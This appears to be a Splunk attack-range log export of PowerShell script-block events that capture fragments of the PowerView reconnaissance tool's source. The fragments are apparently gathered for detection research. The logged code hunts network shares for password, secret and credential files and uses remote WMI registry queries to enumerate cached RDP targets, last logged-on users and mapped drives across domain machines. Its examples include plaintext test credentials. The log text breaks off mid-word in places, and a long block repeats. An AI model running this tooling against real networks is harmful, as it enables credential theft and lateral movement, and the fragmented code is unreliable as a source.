$Process | Add-Member Noteproperty 'Domain' $Owner.Domain $Process | Add-Member Noteproperty 'User' $Owner.User $Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess') $Process } } catch { Write-Verbose ""[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_"" } } } } function Find-InterestingFile { <# .SYNOPSIS Searches for files on the given path that match a series of specified criteria. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection .DESCRIPTION This function recursively searches a given UNC path for files with specific keywords in the name (default of pass, sensitive, secret, admin, login and unattend*.xml). By default, hidden files/folders are included in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. .PARAMETER Path UNC/local path to recursively search. .PARAMETER Include Only return files/folders that match the specified array of strings, i.e. @(*.doc*, *.xls*, *.ppt*) .PARAMETER LastAccessTime Only return files with a LastAccessTime greater than this date value. .PARAMETER LastWriteTime Only return files with a LastWriteTime greater than this date value. .PARAMETER CreationTime Only return files with a CreationTime greater than this date value. .PARAMETER OfficeDocs Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) .PARAMETER FreshEXEs Switch. Find .EXEs accessed within the last 7 days. .PARAMETER ExcludeFolders Switch. Exclude folders from the search results. .PARAMETER ExcludeHidden Switch. Exclude hidden files and folders from the search results. .PARAMETER CheckWriteAccess Switch. Only returns files the current user has write access to. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials to connect to remote systems for file enumeration. .EXAMPLE Find-InterestingFile -Path ""C:\Backup\"" Returns any files on the local path C:\Backup\ that have the default search term set in the title. .EXAMPLE Find-InterestingFile -Path ""\\WINDOWS7\Users\"" -LastAccessTime (Get-Date).AddDays(-7) Returns any files on the remote path \\WINDOWS7\Users\ that have the default search term set in the title and were accessed within the last week. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-InterestingFile -Credential $Cred -Path ""\\PRIMARY.testlab.local\C$\Temp\"" .OUTPUTS PowerView.FoundFile #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.FoundFile')] [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [String[]] $Path = '.\', [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [Alias('SearchTerms', 'Terms')] [String[]] $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastAccessTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastWriteTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $CreationTime, [Parameter(ParameterSetName = 'OfficeDocs')] [Switch] $OfficeDocs, [Parameter(ParameterSetName = 'FreshEXEs')] [Switch] $FreshEXEs, [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeFolders, [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeHidden, [Switch] $CheckWriteAccess, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'Recurse' = $True 'ErrorAction' = 'SilentlyContinue' 'Include' = $Include } if ($PSBoundParameters['OfficeDocs']) { $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') } elseif ($PSBoundParameters['FreshEXEs']) { # find .exe's accessed within the last 7 days $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') $SearcherArguments['Include'] = @('*.exe') } $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden'] $MappedComputers = @{} function Test-Write { # short helper to check is the current user can write to a file [CmdletBinding()]Param([String]$Path) try { $Filetest = [IO.File]::OpenWrite($Path) $Filetest.Close() $True } catch { $False } } } PROCESS { ForEach ($TargetPath in $Path) { if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $HostComputer = (New-Object System.Uri($TargetPath)).Host if (-not $MappedComputers[$HostComputer]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential $MappedComputers[$HostComputer] = $True } } $SearcherArguments['Path'] = $TargetPath Get-ChildItem @SearcherArguments | ForEach-Object { # check if we're excluding folders $Continue = $True if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) { Write-Verbose ""Excluding: $($_.FullName)"" $Continue = $False } if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) { $Continue = $False } if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) { $Continue = $False } if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) { $Continue = $False } if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) { $Continue = $False } if ($Continue) { $FileParams = @{ 'Path' = $_.FullName 'Owner' = $((Get-Acl $_.FullName).Owner) 'LastAccessTime' = $_.LastAccessTime 'LastWriteTime' = $_.LastWriteTime 'CreationTime' = $_.CreationTime 'Length' = $_.Length } $FoundFile = New-Object -TypeName PSObject -Property $FileParams $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile') $FoundFile } } } } END { # remove the IPC$ mappings $MappedComputers.Keys | Remove-RemoteConnection } } ######################################################## # # 'Meta'-functions start below # ######################################################## function New-ThreadedFunction { # Helper used by any threaded host enumeration functions [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [String[]] $ComputerName, [Parameter(Position = 1, Mandatory = $True)] [System.Management.Automation.ScriptBlock] $ScriptBlock, [Parameter(Position = 2)] [Hashtable] $ScriptParameters, [Int] [ValidateRange(1, 100)] $Threads = 20, [Switch] $NoImports ) BEGIN { # Adapted from: # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() # force a single-threaded apartment state (for token-impersonation stuffz) $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA # import the current session state's variables and functions so the chained PowerView # functionality can be used by the threaded blocks if (-not $NoImports) { # grab all the current variables for this runspace $MyVars = Get-Variable -Scope 2 # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') # add Variables from Parent Scope (current runspace) into the InitialSessionState ForEach ($Var in $MyVars) { if ($VorbiddenVars -NotContains $Var.Name) { $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) } } # add Functions from current runspace to the InitialSessionState ForEach ($Function in (Get-ChildItem Function:)) { $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) } } # threading adapted from # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 # Thanks Carlos! # create a pool of maxThread runspaces $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) $Pool.Open() # do some trickery to get the proper BeginInvoke() method that allows for an output queue $Method = $Null ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { $MethodParameters = $M.GetParameters() if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { $Method = $M.MakeGenericMethod([Object], [Object]) break } } $Jobs = @() $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()} Write-Verbose ""[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)"" # partition all hosts from -ComputerName into $Threads number of groups if ($Threads -ge $ComputerName.Length) { $Threads = $ComputerName.Length } $ElementSplitSize = [Int]($ComputerName.Length/$Threads) $ComputerNamePartitioned = @() $Start = 0 $End = $ElementSplitSize for($i = 1; $i -le $Threads; $i++) { $List = New-Object System.Collections.ArrayList if ($i -eq $Threads) { $End = $ComputerName.Length } $List.AddRange($ComputerName[$Start..($End-1)]) $Start += $ElementSplitSize $End += $ElementSplitSize $ComputerNamePartitioned += @(,@($List.ToArray())) } Write-Verbose ""[New-ThreadedFunction] Total number of threads/partitions: $Threads"" ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { # create a ""powershell pipeline runner"" $PowerShell = [PowerShell]::Create() $PowerShell.runspacepool = $Pool # add the script block + arguments with the given computer partition $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) if ($ScriptParameters) { ForEach ($Param in $ScriptParameters.GetEnumerator()) { $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) } } # create the output queue $Output = New-Object Management.Automation.PSDataCollection[Object] # kick off execution using the BeginInvok() method that allows queues $Jobs += @{ PS = $PowerShell Output = $Output Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) } } } END { Write-Verbose ""[New-ThreadedFunction] Threads executing"" # continuously loop through each job queue, consuming output as appropriate Do { ForEach ($Job in $Jobs) { $Job.Oute66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1","2022-05-02T18:24:44.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122635,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122635,win,482,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error track_event_signatures",,,"error track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0005-5666-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"3344 $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress if ($Result -eq 0) { $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename } else { Write-Verbose ""[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)"" $ComputerSite | Add-Member Noteproperty 'SiteName' '' } $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite') # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) $ComputerSite } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-WMIRegProxy { <# .SYNOPSIS Enumerates the proxy server and WPAD conents for the current user. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Enumerates the proxy server and WPAD specification for the current user on the local machine (default), or a machine specified with -ComputerName. It does this by enumerating settings from HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. .PARAMETER ComputerName Specifies the system to enumerate proxy settings on. Defaults to the local host. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegProxy ComputerName ProxyServer AutoConfigURL Wpad ------------ ----------- ------------- ---- WINDOWS1 http://primary.test... .EXAMPLE $Cred = Get-Credential ""TESTLAB\administrator"" Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local ComputerName ProxyServer AutoConfigURL Wpad ------------ ----------- ------------- ---- windows1.testlab.local primary.testlab.local .INPUTS String Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). .OUTPUTS PowerView.ProxySettings Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. #> [OutputType('PowerView.ProxySettings')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = $Env:COMPUTERNAME, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { try { $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } $RegProvider = Get-WmiObject @WmiArguments $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings' # HKEY_CURRENT_USER $HKCU = 2147483649 $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue $Wpad = '' if ($AutoConfigURL -and ($AutoConfigURL -ne '')) { try { $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL) } catch { Write-Warning ""[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL"" } } if ($ProxyServer -or $AutoConfigUrl) { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ComputerName' $Computer $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL $Out | Add-Member Noteproperty 'Wpad' $Wpad $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings') $Out } else { Write-Warning ""[Get-WMIRegProxy] No proxy settings found for $ComputerName"" } } catch { Write-Warning ""[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_"" } } } } function Get-WMIRegLastLoggedOn { <# .SYNOPSIS Returns the last user who logged onto the local (or a remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION This function uses remote registry to enumerate the LastLoggedOnUser registry key for the local (or remote) machine. .PARAMETER ComputerName Specifies the hostname to query for remote registry values (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegLastLoggedOn Returns the last user logged onto the local machine. .EXAMPLE Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 Returns the last user logged onto WINDOWS1 .EXAMPLE Get-DomainComputer | Get-WMIRegLastLoggedOn Returns the last user logged onto all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.LastLoggedOnUser A PSCustomObject containing the ComputerName and last loggedon user. #> [OutputType('PowerView.LastLoggedOnUser')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_LOCAL_MACHINE $HKLM = 2147483650 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'SilentlyContinue' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } # try to open up the remote registry key to grab the last logged on user try { $Reg = Get-WmiObject @WmiArguments $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' $Value = 'LastLoggedOnUser' $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue $LastLoggedOn = New-Object PSObject $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser') $LastLoggedOn } catch { Write-Warning ""[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled."" } } } } function Get-WMIRegCachedRDPConnection { <# .SYNOPSIS Returns information about RDP connections outgoing from the local (or remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: ConvertFrom-SID .DESCRIPTION Uses remote registry functionality to query all entries for the ""Windows Remote Desktop Connection Client"" on a machine, separated by user and target server. .PARAMETER ComputerName Specifies the hostname to query for cached RDP connections (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegCachedRDPConnection Returns the RDP connection client information for the local machine. .EXAMPLE Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local Returns the RDP connection client information for the WINDOWS2.testlab.local machine .EXAMPLE Get-DomainComputer | Get-WMIRegCachedRDPConnection Returns cached RDP information for all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.CachedRDPConnection A PSCustomObject containing the ComputerName and cached RDP information. #> [OutputType('PowerView.CachedRDPConnection')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_USERS $HKU = 2147483651 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } try { $Reg = Get-WmiObject @WmiArguments # extract out the SIDs of domain users in this hive $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } ForEach ($UserSID in $UserSIDs) { try { if ($PSBoundParameters['Credential']) { $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential } else { $UserName = ConvertFrom-SID -ObjectSid $UserSID } # pull out all the cached RDP connections $ConnectionKeys = $Reg.EnumValues($HKU,""$UserSID\Software\Microsoft\Terminal Server Client\Default"").sNames ForEach ($Connection in $ConnectionKeys) { # make sure this key is a cached connection if ($Connection -match 'MRU.*') { $TargetServer = $Reg.GetStringValue($HKU, ""$UserSID\Software\Microsoft\Terminal Server Client\Default"", $Connection).sValue $FoundConnection = New-Object PSObject $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer $FoundConnection | Add-Member Noteproperty 'UserName' $UserName $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') $FoundConnection } } # pull out all the cached server info with username hints $ServerKeys = $Reg.EnumKey($HKU,""$UserSID\Software\Microsoft\Terminal Server Client\Servers"").sNames ForEach ($Server in $ServerKeys) { $UsernameHint = $Reg.GetStringValue($HKU, ""$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server"", 'UsernameHint').sValue $FoundConnection = New-Object PSObject $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer $FoundConnection | Add-Member Noteproperty 'UserName' $UserName $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') $FoundConnection } } catch { Write-Verbose ""[Get-WMIRegCachedRDPConnection] Error: $_"" } } } catch { Write-Warning ""[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"" } } } } function Get-WMIRegMountedDrive { <# .SYNOPSIS Returns information about saved network mounted drives for the local (or remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: ConvertFrom-SID .DESCRIPTION Uses remote registry functionality to enumerate recently mounted network drives. .PARAMETER ComputerName Specifies the hostname to query for mounted drive information (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegMountedDrive Returns the saved network mounted drives for the local machine. .EXAMPLE Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local Returns the saved network mounted drives for the WINDOWS2.testlab.local machine .EXAMPLE Get-DomainComputer | Get-WMIRegMountedDrive Returns the saved network mounted drives for all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.RegMountedDrive A PSCustomObject containing the ComputerName and mounted drive information. #> [OutputType('PowerView.RegMountedDrive')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_USERS $HKU = 2147483651 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } try { $Reg = Get-WmiObject @WmiArguments # extract out the SIDs of domain users in this hive $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } ForEach ($UserSID in $UserSIDs) { try { if ($PSBoundParameters['Credential']) { $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential } else { $UserName = ConvertFrom-SID -ObjectSid $UserSID } $DriveLetters = ($Reg.EnumKey($HKU, ""$UserSID\Network"")).sNames ForEach ($DriveLetter in $DriveLetters) { $ProviderName = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'ProviderName').sValue $RemotePath = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'RemotePath').sValue $DriveUserName = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'UserName').sValue if (-not $UserNe66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1",,4104,122634,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,33,44,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1",,,"'5388'",,,,,,122634,,,,"e66f2c62-841c-43ba-a30f-4c6c2ffc9ead","$ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress if ($Result -eq 0) { $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename } else { Write-Verbose ""[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)"" $ComputerSite | Add-Member Noteproperty 'SiteName' '' } $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite') # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) $ComputerSite } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-WMIRegProxy { <# .SYNOPSIS Enumerates the proxy server and WPAD conents for the current user. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Enumerates the proxy server and WPAD specification for the current user on the local machine (default), or a machine specified with -ComputerName. It does this by enumerating settings from HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. .PARAMETER ComputerName Specifies the system to enumerate proxy settings on. Defaults to the local host. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegProxy ComputerName ProxyServer AutoConfigURL Wpad ------------ ----------- ------------- ---- WINDOWS1 http://primary.test... .EXAMPLE $Cred = Get-Credential ""TESTLAB\administrator"" Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local ComputerName ProxyServer AutoConfigURL Wpad ------------ ----------- ------------- ---- windows1.testlab.local primary.testlab.local .INPUTS String Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). .OUTPUTS PowerView.ProxySettings Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. #> [OutputType('PowerView.ProxySettings')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = $Env:COMPUTERNAME, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { try { $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } $RegProvider = Get-WmiObject @WmiArguments $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings' # HKEY_CURRENT_USER $HKCU = 2147483649 $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue $Wpad = '' if ($AutoConfigURL -and ($AutoConfigURL -ne '')) { try { $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL) } catch { Write-Warning ""[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL"" } } if ($ProxyServer -or $AutoConfigUrl) { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ComputerName' $Computer $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL $Out | Add-Member Noteproperty 'Wpad' $Wpad $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings') $Out } else { Write-Warning ""[Get-WMIRegProxy] No proxy settings found for $ComputerName"" } } catch { Write-Warning ""[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_"" } } } } function Get-WMIRegLastLoggedOn { <# .SYNOPSIS Returns the last user who logged onto the local (or a remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION This function uses remote registry to enumerate the LastLoggedOnUser registry key for the local (or remote) machine. .PARAMETER ComputerName Specifies the hostname to query for remote registry values (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegLastLoggedOn Returns the last user logged onto the local machine. .EXAMPLE Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 Returns the last user logged onto WINDOWS1 .EXAMPLE Get-DomainComputer | Get-WMIRegLastLoggedOn Returns the last user logged onto all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.LastLoggedOnUser A PSCustomObject containing the ComputerName and last loggedon user. #> [OutputType('PowerView.LastLoggedOnUser')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] 